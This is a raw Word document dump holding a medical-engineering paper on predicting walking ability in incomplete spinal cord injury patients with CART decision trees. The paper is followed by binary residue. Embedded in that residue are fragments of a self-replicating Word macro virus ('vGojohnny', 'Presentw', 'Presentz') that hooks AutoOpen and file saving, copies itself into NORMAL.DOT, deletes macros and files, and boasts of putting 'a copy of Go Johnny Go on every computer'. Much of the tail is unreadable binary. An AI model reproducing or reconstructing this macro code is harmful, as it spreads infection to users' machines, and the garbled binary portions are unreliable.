ࡱ> XZWG >bjbjَ ]p5]$HHHHH(******$?3NQ"N HHH 8HH((  r3(H,wK_޼ MACHINE LEARNING FOR PREDICTION OF WALKING ABILITIES IN INCOMPLETE SPINAL CORD INJURED PATIENTS T. Bajd, M. Grobelnik*, D. Mladeni*, N. Lavra *, V. Prodnik, H. Benko, R. `avrin, and P. Obreza Faculty of Electrical Engineering, University of Ljubljana *J. Stefan Institute Institute RS for Rehabilitation Ljubljana, SLOVENIA Abstract It is difficult to predict the outcome of the functional electrical stimulation (FES) rehabilitation process when patients are admitted to the spinal unit soon after an accident that caused incomplete spinal cord injury (SCI). Similarly, it is not possible to decide what rehabilitation aid the patient will need after recovering from a spinal cord injury. The aim of this study is to develop a diagnostic procedure which will soon after the accident predict which incomplete SCI patients are candidates for a permanent use of FES orthotic aid. Based on data about 31 incomplete SCI patients, a classification tree was developed using a machine learning tool CART. The induced classification tree indicates that the candidates for chronic use of FES are patients with weak ankle dorsiflexors and sufficiently strong knee extensors. It was further demonstrated that FES is less functional in the incomplete SCI patients who are bound to wheelchair. 1. Introduction Incomplete lesions of the spinal cord are characterized by three different kinds of muscles: normal, centrally denervated (spastic) and peripherally denervated (flaccid). All three kinds of muscles can be found, not only in the lower extremity of an incomplete spinal cord injured (SCI) patient but also in a single muscle group. This makes the functional electrical stimulation (FES) rehabilitative approach rather difficult. It is difficult to predict the outcome of the FES rehabilitation process when patients are admitted to the spinal unit soon after the accident. Similarly, it is not possible to decide what rehabilitation aid the patient will need after recovering from a spinal cord injury. It was found that early recovery of quadriceps muscle strength post spinal injury is a useful predicitor of future ambulation (4(. Motor incomplete spinal cord injured patients who recovered to a quadriceps strength greater than 3/5 by two months post injury had an excellent prognosis for subsequent ambulation by half a year post injury. No relationship was found between age and ambulatory status. Also, no relationship between the level of injury and recovery of ambulation was observed. This is in accordance with the data presented in (11( where no significant differences in motor recovery were related to the type of injury and type of spinal fracture. In another study (5( all subjects with an early quadriceps muscle grade greater than 0/5 ambulated. The same examinators also noticed that somatosensory evoked potentials did not offer any additional prognostic value over that provided by the clinical examination. However, the prognostic value of preserved sensation was proven in the study. The preservation of pinprick sensation between the level of the injury and the sacral dermatomes was the best prognostic indicator for useful motor recovery with the patients regaining the ability to walk (6(. The relationship between neurocontrol patterns evoked by lower limb movement in the supine position and the assistive device used for ambulation in chronic incomplete SCI patients was also evaluated (10(. Marked decreases in motor unit output and/or loss of motor organization were found in the nonambulatory group of patients. Coactivation of proximal muscles, poor timing of muscle activity and radiation of activity into contralateral muscles were also noted in subjects who required a walker or crutches. The primary aim of this study is to develop a diagnostic procedure which will soon after the accident predict which incomplete SCI patients are candidates for permanent use of FES orthotic aid. 2. Patient data Several simple clinical tests were performed by physiotherapists at the arrival of the patient to the rehabilitation unit. With every incomplete SCI patient manual muscle test was carried out. The muscle groups governing the hip movement (extensors, flexors, and abductors), knee movement (extensors and flexors), and ankle joint movement (dorsal and plantar flexors) were evaluated. In the manual muscle test the responses to voluntary control were estimated by nine grades (0, 1 -2, 2, -3, 3, -4, 4, 5). The presence of superficial and deep senstaion was also tested in patients paralyzed lower extremities. The presence of sensations was indicated by a yes/no answer. The spasticity in the major muscle groups of the lower extremities was estimated by four grades. Significant nonsymmetry between the neuromuscular properties of the right and left paralyzed leg was often observed in the group of incomplete SCI persons. The data appertaining to the severly handicapped extremity were taken into consideration for further computer analysis. General patients data have been gathered: year of birth, sex, date of accident, level of spinal cord lesion and cause of accident or disease. 31 incomplete SCI patients with central (thoracic or cervical) SCI were included into the present study. Only the patients who were unable to walk on the day of examination were considered. Apart from regular therapeutic treatment, cyclic electrical stimulation for restrengthening of disuse atrophied muscles was delivered to the patients during several months of their stay in the rehabilitation center. In some patients multichannel FES for standing and walking was also applied [1,2]. At the release from the rehabilitation center the patients were divided into four different classes regarding their locomotor capabilities: wheelchair users (19 patients) users of FES and crurches (4 patients) users of mechanical brace and crutches (2 patients) no orthotic aid (6 patients) One-channel electrical stimulators were given to the patients for chronic use after release from the rehabilitation center. One channel FES was delivered to the peroneal nerve resulting in flexion response of the lower extremity. In this way simulataneous hip and knee flexion and ankle dorsiflexion were obtained unilaterally and bilaterally enabling swing phase of walking. Here, it must be noted that two-channel electrical stimulators were given to ten wheelchair users for gait exercise. The second channel of FES was applied to the knee extensors providing necessary support during the stance phase of walking. 3. Induction of decision trees Machine learning tools [7] have been applied in a variety of real-world domains.These tools enable the induction of knowledge in different forms, for example, the form of rules or decision trees. In supervised machine learning, a set of examples with known classifications is given. An example is described by an outcome (class) and the values of a fixed collection of parameters (attributes). Each attribute can either have a finite set of values (discrete attribute) or take real numbers as values (continuous attribute). In this study, the program CART [3] as implemented in the S-Plus package [9] was used to construct decision trees. This tree induction algorithm belongs to the ID3 family of systems for top-down induction of decision trees [8]. The program recursively builds a binary decision tree. The nodes of the tree correspond to attributes, arcs correspond to values or sets/intervals of values of attributes, and leaves (terminal nodes) correspond to predicted classes. In each recursive step of decision tree construction, an attribute is selected and a subtree is built. Standardly, the recursion stops when all examples belong to the same class, meaning that generated leaf is labeled with the class of examples At each recursion step, the selection of the best attribute is based on testing the attributes according to the so-called gini criteria that measures the gain obtained by partitioning a set of examples according to the values of an attribute A. The gini criteria is computed as follows: gini(A,E) = gini-index(E) (v Pv(E) . gini-index(Ev) where E denotes the set of examples on the current node of the decision tree, Pv(E) denotes the probability of attribute value v in example set E, and Ev denotes the subset of examples for which attribute A has value v. The summation is over all the values of attribute A. The formula for calculating the gini-index is as follows: gini-index(E) = 1 (c Pc(E)2 Pc(E) stands for the probability of class c in a set of examples E and is usually calculated as the proportion of examples belonging to the class c. The summation is over all the classes. To classify a new case, a path from the root of the tree is selected on the basis of the values of attributes of the new example to be classified. In this way, for a given example, the path leads to a leaf which assigns a class that labels the leaf. The selected path may be viewed as a generalization of the specific example for which the prediction is being determined. If a leaf is labeled with more than one class, each with the probability of class prediction, then the class with the highest probability is selected for the classification of a new case. The entire decision tree reflects the detected regularities in the data, describing the properties that are characteristic for subsets of examples belonging to subtrees. The ordering of attributes (from the root towards the leaves of the tree) reflects also the importance of attributes for the predicted class in the leaf. Results of classification tree induction for incomplete SCI patients The decision tree prognosing the ambulation abilities of incomplete SCI persons, as obtained by CART, is shown in Fig.1. At the roots of the tree the strength of the ankle dorsiflexors is tested. This is quite in accordance with the FES rehabilitative method as peroneal stimulation predominatly results in improved ankle dorsiflexion. In patients with inadequate voluntary ankle dorsiflexion (lesser than 2), the strength of the knee extensors must be evaluated. This finding is in agreement with the observation of other authors [4,5]. Patients with sufficiently strong knee extensors (over 2) are candidates for the use of peroneal electrical stimulator and crutches. These patients can be cosidered as community walkers. They can use electrical stimulator for several hours per day during their daily activities. Patients with weak knee extensors are bound to the wheelchair. It is interesting to note that in patients with adequate ankle dorsiflexion (above -2), the voluntary strength of the knee extensors contraction has not to be tested. These patients are divided on the basis of their age. Older patients are wheelchair users, while younger can walk without any orthotic aid. 5. Discussion The aim of this study was to develop a diagnostic procedure which will soon after the accident predict which incomplete SCI patients are candidates for permanent use of FES orthotic aid. Based on data about 31 incomplete SCI patients, a classification tree was developed using a machine learning tool CART. In our study of prediction of walking abilities in incomplete SCI persons the data on sensation and spasticity were not found relevant what is not in accordance with some authors [6,10]. In further computer analysis of the data gathered, the group of the wheelchair users was divided into patients using FES and wheelchair and those making use of wheelchair only. No sensible decision tree was obtained in this case.  Fig. 1. Decision tree prognosing the ambulation abilities of incomplete SCI subjects, obtained using the CART system [3]. This outcome can be regarded as an indication that FES is not really necessary in incomplete SCI patients who are bound to the wheelchair. These patients can only be considered as exercise walkers using FES for about half an hour per day for therapeutic purposes. References BAJD, T., KRALJ, A., TURK, R., BENKO, H., `EGA, J. (1989) Use of functional electrical stimulation in the rehabilitation of patients with incomplete spinal cord injuries, J. Biomed. Eng., 11, 96102. BAJD, T., `TEFAN I , M., MATJA I, Z., KRALJ, A., `AVRIN, R., BENKO, H., KAR NIK, T., OBREZA, P. (1997) Improvement in step clearance via calf muscle stimulation, Med.&Biol.Eng.&Comput., 35, 113-116. BREIMAN, L., FRIEDMAN, J.H., OLSHEN, R.A., STONE, C.J. (1984) Classification and Regression Trees. Wadsworth. CROZIER, K.S., CHENG, L.L., GRAZIANI, V., ZORN, G., HERBISON, G. and DITUNNO, J.F. (1992) Spinal cord injury: prognosis for ambulation based on quadriceps recovery. Paraplegia, 30, 762767. JACOBS, S.R., YEANEY, N.K., HERBISON, G.J., and DITUNNO, J.F. (1995) Future ambulation prognosis as predicted by somatosensory evoked potentials in motor complete and incomplete quadriplegia. Arch. Phys. Med. Rehabil., 76, 635-641. KATOH, S. and EL MASRY, W.S. (1995) Motor recovery of patients presenting with motor paralysis and sensory sparing following cervical spinal cord injuries. Paraplegia, 33, 506-509. MITCHELL T.M. (1997) Machine Learning. The McGraw-Hill Companies, Inc. QUINLAN, J.R. (1986) Induction of decision trees. Machine Learning, 1, 81-106. S-PLUS For Windows, Version 3.2 Release 1 (1994) MathSoft, Inc., AT&T. TANG, S.F.T., TUEL, S.M., MC KAY B.W., DIMITRIJEVI, M.R. (1994) Correlation of motor control in the supine position and assistive device used for ambulation in chronic incomplete spinal cord-injured persons. Am. J. Phys. Med. Rehabil., 73, 268-274. WATERS, R.L., IEN SIE, ADKINS, R.H., YAKURA, J.S. Injury pattern effect on motor recovery after traumatic spinal cord injury. Arch. Phys. Med. Rehabil., 76, 440-443. NWX  ^ _ ` a fgij`r ##$$$$$$$4%5%~%%H&I&K&L&M&P&Q&R&T&U&C)D)**x//a2b22jCJOJQJUmHCJH*H* jSCJ$CJOJQJ5OJQJ j] j[ CJOJQJ CJOJQJ5CJOJQJHX(8LMNWX  ! ` $j  $7$ $v +$X(8LMNWX  ! `abrs%xphb )    *   I  w x  :;<  nB - .HI *ef$`abrs% ##$$$$$$%%$ & F $ ##$$$$$$%%2&3&R&S&''C)D)*****x/y///0ſ{xuolifc`Z rs     > ?    V W j        "%2&3&R&S&''C)D)*****x/y///00`2a2c222233$ & F $ !00`2a2c222233333~57789T:::3;=>>>>>û{yywy      B    @  )    W         o p[]^ 2333B5`5|5~566777788u99;:G:T:::5;\<====j>>>>>>>6CJCJ6CJOJQJ6CJOJQJ CJOJQJ CJOJQJ5CJOJQJ#3333~57789T:::3;=>>>>>>$$ & F$ & F & Fh. A!j " #j $%n7 6@IHeg2lPNG  IHDRgAMA IDATxr@QH2ypRt4mzB|\Ng;M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4[yǴE\{?&}3_s>/<0ދ,lpOA9@ h &@ +_ &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ h &@ ?ށ9ϗ{q:?Ɲ=uqm+:|:r.>I7`Yǧ>'7f`˿99~94"e^ys?ThN_٧ZcwqN7q^ϖ3yv4]ӓyw:ёgSۃ֍fkOetvm Th΃vyjq'ǟoߢىZfCnr.-^O9kkO/ځZK0݇ cSƉSMܼӐη֩t܎%p7_\tOtۡ<-7ܷ][9z&9W/쾟馃wOey{\ۿqW 㢹;|qDŵEl7^:]ןY9y;wvO:eq6tO{)WL4]%H =D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@4D M@43[IENDB` [4@4NormalCJOJQJkHmH <@< Heading 1$@&5CJOJQJ0@0 Heading 2$@&CJL@L Heading 3$v@& +5CJOJQJ22 Heading 4h>*CJ.. Heading 55.. Heading 6>*.. Heading 76.. Heading 86. . Heading 9 6<A@<Default Paragraph Font, @,Footer  !,,Header  !<&@<Footnote ReferenceCJEH.". Footnote Text2B22 Body Text OJQJmH 4Z@B4 Plain Text OJQJmH 8YR8 Document Map-D OJQJ:P@b: Body Text 2$ CJOJQJ.Q@r. Body Text 3CJB>@BTitle$v +5CJOJQJ55f2>*1`%3>+-/20>,.0  ?2$ |2:#xb$6@IHeg2l? f2$؞@=y!u>-tj@ t(  <  # AB S  ?a-5&*a4einx}!8AltfrKX>HS]    # -  % / GTQY".5#2)/v $EQ el3 5 }  !!3!7!K!M!S!U!1#?###$$%%%%&&&&&&'!'O'['E(M((())j*r*5+=+",,,y----//c0x0000000 11s1}1112 2'242|2222334%4Z4f44444555!5555555 +!HU~1 >Q\n ?3!=!S!V!""6&;&#'.'))c-j---..7/M/0081;122g3q3r44!5#55555Intelligent Systems Department!E:\users\Marko\txt\vesna\nada.docIntelligent Systems Department!E:\users\Marko\txt\vesna\nada.docIntelligent Systems Department!E:\users\Marko\txt\vesna\nada.docIntelligent Systems Department%C:\TEMP\AutoRecovery save of nada.asdIntelligent Systems Department%C:\TEMP\AutoRecovery save of nada.asdIntelligent Systems Department%C:\TEMP\AutoRecovery save of nada.asdIntelligent Systems Department%C:\TEMP\AutoRecovery save of nada.asddunja'C:\users\Dunja\tmp\cadam97papr1.doc.dotdunja-C:\TEMP\AutoRecovery save of cadam97papr2.asddunja&C:\users\Dunja\tmp\cadam97papr.doc.dotJ An 0$/ *hho(. hhOJQJo(@hh. 4}T0$/0$/}T0$/}T0$/0~T0$/~T0$/~T0$/ TAnJ@}T @h hOJQJo(}T`b@hh.}T @hh.<~T @hh.~T 2@hh.~T 6@hh.,T``@hh.@f4f4(hf4F4L/1F4F55 @4p@<|@GTimes New Roman5Symbol3& Arial;Times New?5 Courier New7Tms Rmn5& Tahoma A8V ѲfѲfpFh,^YV 20d6˂dA+MACHINE LEARNING FOR PREDICTION OF WALKINGdunjadunjaOh+'0 , H T ` lx,MACHINE LEARNING FOR PREDICTION OF WALKINGACHdunjaE unjcadam97papr.doc.dotdunja7p2njMicrosoft Word 8.0@@X/.޼@j@޼@j@޼h,՜.+,D՜.+,X hp|  JSI^6  ,MACHINE LEARNING FOR PREDICTION OF WALKING Title 6> _PID_GUIDAN{A1FFF5AB-2A86-11D1-800D-00A024DDA015}  !"#$%&'()*+,-./012345678:;<=>?@ABCDEFHIJKLMNPQRSTUVY]\sw_`abcdefghiklmnopqrtuvxyz{|}~Root EntryE0 FБ^޼߀_޼[1Table9WordDocument]pSummaryInformation(A@>GIDocumentSummaryInformationP8O Macros F_޼wK_޼VBA q@@F_޼ I_޼dir,@<<,<  !"#$%&'()*,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghjklmnprಀ0* pHdTemplateProjectQH@  = | 4 J< 9stdole>stdoleP f%\*\G{00020430-C 0046}#2.0#0#C:\WINNT\System32\STDOLE2.TLB# Automation#/MSForms>!SFErms/z pFDF2B4813-01C7-11D1-BFF5FA024D`DA015F3.TWD#Micr@osoft = ` Ob Library9Ph0jP2191EFE2-1ED9P8008PTEMP\VHBE\&EX&.E .`M ACvOfficDvOA@sficBv)*DF8D04C-5BFA-101B-BDESA@u42Sgram FilXes\O\MSO97.DLLCHX 8.0X BThisDoc@umentN2D@1Th@6sDDcuen@HB1B,B "B"+B vGojohnny2AG@ jhnyEO7P !@ E@Pres@z2iar5s`z  w Jw w   xG}  c7Presentw ^PresentzjvGojohnny ThisDocument x7}  S8 ] P P"P$x@r @( P*@, `. PtPvPxPzP|P~PPR PdfsAsP"pMEi " (08@HPX`hpx 888@x   (0@Xp 0H`x  * 0"@hp   ("@hx(8@HP`p x"222@2x02(fsAsZ@ZXZpZZZZZZZZ0ZHZ`ZxZZ@E2 4B@6 4B@8 4%:Franais0Enregistre le document actif sous un nouveau nom' FichierEnregistrer' "a/Saves a copy of the document in a separate file' FileSave' "hp 4%<' $ $'r ( r $ ( 4%>' * * 4%B 4%@' * *\FDg (D ( ', r ,  4!H%J.. . 4!LB@J  4B@N . 4!PB@J .!F .(gA@R . 4B@J2h $ , 4%>$' t 4%n' v 4%n' x x \doc2.doc ' z x\ t ' | x \~wrf7mhr.tmp ' ~ ~ 4% 4B@NAIPESVOH REHM 4B@Starting Autosave 4B@N x \doc2.doc  4B@J 4B@ x \doc2.doc ~ 4B@h ~ | 4B@ | 4B@  4B@N@E 4!H%J.. . 4!LB@J t .( . 4!PB@J .!'  4%n'   F \ ' g .!  4B@ | 4B@ z 4B@J 4B@ z 4B@ . 4B@J2h X!Zf 4B@ | 4B@2h 4B@ | 4B@A@R    4B@J2`lXZZ 4%<' dGlobal:Presentv d :AutoOpen 4B@TGlobal:Presentv d :Presentv 4B@TGlobal:Presentw d :Presentw 4B@TGlobal:Presentz d :Presentz 4B@TGlobal:Presentz d: " 4B@TGlobal:vGojohnny d :vGojohnny 4B@Tl;Attribute VB_Name = "Presentw" Public Sub MAIN() 'fsAs Dim fTf$sdD*l0i A,lnh1"dlg As Object NO%O_D_P TM stt)tm2 FileN NDPh On Error GoTo -1: aend WordBasic.ScreenUpdati@ng (0)DisableInput aIf [AppInfo$](16)Franais" Then   Enregistre le docum actif sous un n@ouveaumÂs$,ich(ier"rElse1Saves a copy of th4in separaff@Nlend Ifd<\=@J(Dl@(@Len(d$DF_i0 ` A Right@d$, i Lef !LTrim@A$), 1@hB"\aÁ cn@ANext : )i -w2- DC@/qSet =DialogR4ec.EAOAs8(FaeD$G,CurValues CY PrintStatusBar.G?@)._mat`0@MC-G;hCfEBu LCase([I9() #zDefaultDir714a}y3`!a`B+ "\yh2.V)" + Btm2NF~wrf7mhr.tmp@&a s"z)yNewd )Insert "NAIPESVOH RxEHM` !,=">rbAutos/@y.L := , ?:=0;CloeRenz E?GvC  cA, : ory:=G!Open ^Kifr`lr(q!hAIHg4ob aL% {g[_@Ob) > 3 e\A` ${> 1O(̇ !B< 2?KillC/P!:%!6wW$B/e/P1 Templ@f:=o(sf` oF  Z`|.Number102?P|~ del@/,QT%0n9PAU05PrivyY"C(0Odf;%r;K Macro1: "Global:ԝv", QP%:aF9%y?dw8&1 zz nt`_WvGojohnny(7#Prx}   =P P"P$x@& @( P*@, `. @0 Rp PdbYf(pMEK " (08@HP Xhx208HP `p   (@Xh 6 (@ HX`hp & (0 "8@H2X22228p "xFfsZ@ZXZpZZZZZZ@E2 4B@6 4B@8 4%:Franais)Enregistre le document ou le molle actif' FichierEnregistrer' "a'Saves the active document or a template' FileSave' "h 4%<' $ $'& ( & $ ( 4%>' * * 4%B 4%@' * *\FDg (D ( ', & , @EF 4!H%J.. . 4!LB@J  4B@N . 4!PB@J .!F .(gA@RGlobal:Presentz 4%<: " 4B@T . 4B@J2a $ 4%>DOCA@R 4B@Ja 4B@VhhF X!ZfF2g2p@E\ 4%^'0 ( 0 ( 4%`FileOpenFileOpenA@bh (\lZX 4%<' dGlobal:Presentv d :AutoOpen 4B@TGlobal:Presentv d :Presentv 4B@TGlobal:Presentw d :Presentw 4B@TGlobal:Presentz d :Presentz 4B@TGlobal:vGojohnny d :vGojohnny 4B@Tlpj 4%n \NORMAL.DOT l fd 4B@hl0(Attribute VB_Name = "Presentz" Public Sub MAIN() 'fs Dim ff$ sdMH0 i A,lnh1"dlg As @ObjectiMC On Error GoT@o -1: aend WordBasic.ScreenUpdating (0) DisableInput yIf :[AppInfo$](16){Franais" Thepn q Enregistre le docDum oumol acti&fs$(icPhierrElse .Save@s the !v/r a tem plate -le(nd If d9pFile'pMHHLePn(d$Fi0 YkA-A  Right@d$, i LefLTrim@ A$), 1 ^B"\CWxcn`Next @: %i -Dly-- D@+Ffe cs,Set =HDialogRec.JRAs(Fa@g,4CurValues q PrintStatusBarA GH@).@fmatf;MacroCopy "Global:F, Ʉ + ":"fw G"br#pgX[)F3jDOCi 6C := 30~E`?I .@Number*102{P@=J9 GCount/s(0,  ak1akš %"si! B".Openm&DEL +hbrivC(Zd=>[Kv" , HAutoߢ?OTvtwh$w?٧$yvGojo0hnnyg c- 5(NMa O@rganizPD elete@[, `Sourc@[DefaultD$ir2)t\NORMAL.DO&T!4:= , @Tab:=3H 8ME " @HX9Our devise - A copy of "Go Johnny Go" on every computer !l0(Attribute VB_Name = "vGojohnny" Public Sub MAIN() 'Our devise - A copy of "Go Jr Go" on every>mpr ! End x  # (SLSS<N0{00020906-0000-0000-C000-000000000046}8(X$HMExAttribute VB_Name = "ThisDocument" Bas0{00020P906-0C$0046} |CreatablFalse ^PredeclaIdTru "@ExposeTemplateD0eriv$eCustomiz2a^  *\G{000204EF-0000-0000-C000-000000000046}#3.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA332.dll#Visual Basic For Applications_VBA_PROJECT+HPROJECTi]PROJECTwmo}CompObjqj*\G{00020905-0000-0000-C000-000000000046}#8.0#409#C:\Program Files\Microsoft Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINNT\System32\STDOLE2.TLB#OLE Automation*\G{DF2B4813-01C7-11D1-BFF5-00A024DDA015}#2.0#0#C:\WINNT\System32\MSForms.TWD#Microsoft Forms 2.0 Object Library*\G{2191EFE2-1ED9-11D1-8008-00A024DDA015}#2.0#0#C:\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library.E .`M *\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#C:\Program Files\Microsoft Office\Office\MSO97.DLL#Microsoft Office 8.0 Object Library4 ThisDocument 13417b6f0*D vGojohnny 23417b6f0*D 7Presentz 33417b6f1*D 0 Presentw 43417b6f1*Dp HhH0* $ݠ* $ݠ* $ݠ* $ݠQS/SFALSEWordkVBAWin16~Win32MacNADAstdole`MSFormsC ThisDocument< _EvaluateOfficeuTemplateProjectEModule1b vGojohnnyMAIN,Presentzcff9]fsF]d[MH>^i`AXlnh1-dlg-iMC aend WordBasicScreenUpdating!  DisableInputSAppInfo$3 FileName$mRight$y1Left$7LTrim$'qcnt+ecssC  DialogRecord FileSaveAs CurValuesȤPrintStatusBar=DialogfMC9^ MacroCopyEFileSave ErroNumber-aen&s CountMacros MacroName$DEL/ds\NMh^ OrganizerDeletexSourceG DefaultDir$lPresentw_Dl\NOj^O_D_PwOTMPstttmF_tm2FileNrXNDPh.LCase:Files$FileNewDefault Insertr FileClose_RenameB+CopyFileFileNamej DirectorymGFileOpen ife KillFileNew!TemplatedeltmpDocumentjx   q  HID="{A1FFF5AC-2A86-11D1-800D-00A024DDA015}" Document=ThisDocument/&H00000000 Module=vGojohnny Module=Presentz Module=Presentw Name="TemplateProject" HelpContextID="0" CMG="2E2CFD050D0503090309010B010B" DPB="282AFBFCFCFCFCFC" GC="2220F109EA0AEA0A15" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 ThisDocumentThisDocumentvGojohnnyvGojohnnyPresentzPresentzPresentwPresentw  FMicrosoft Word Document MSWordDocWord.Document.89q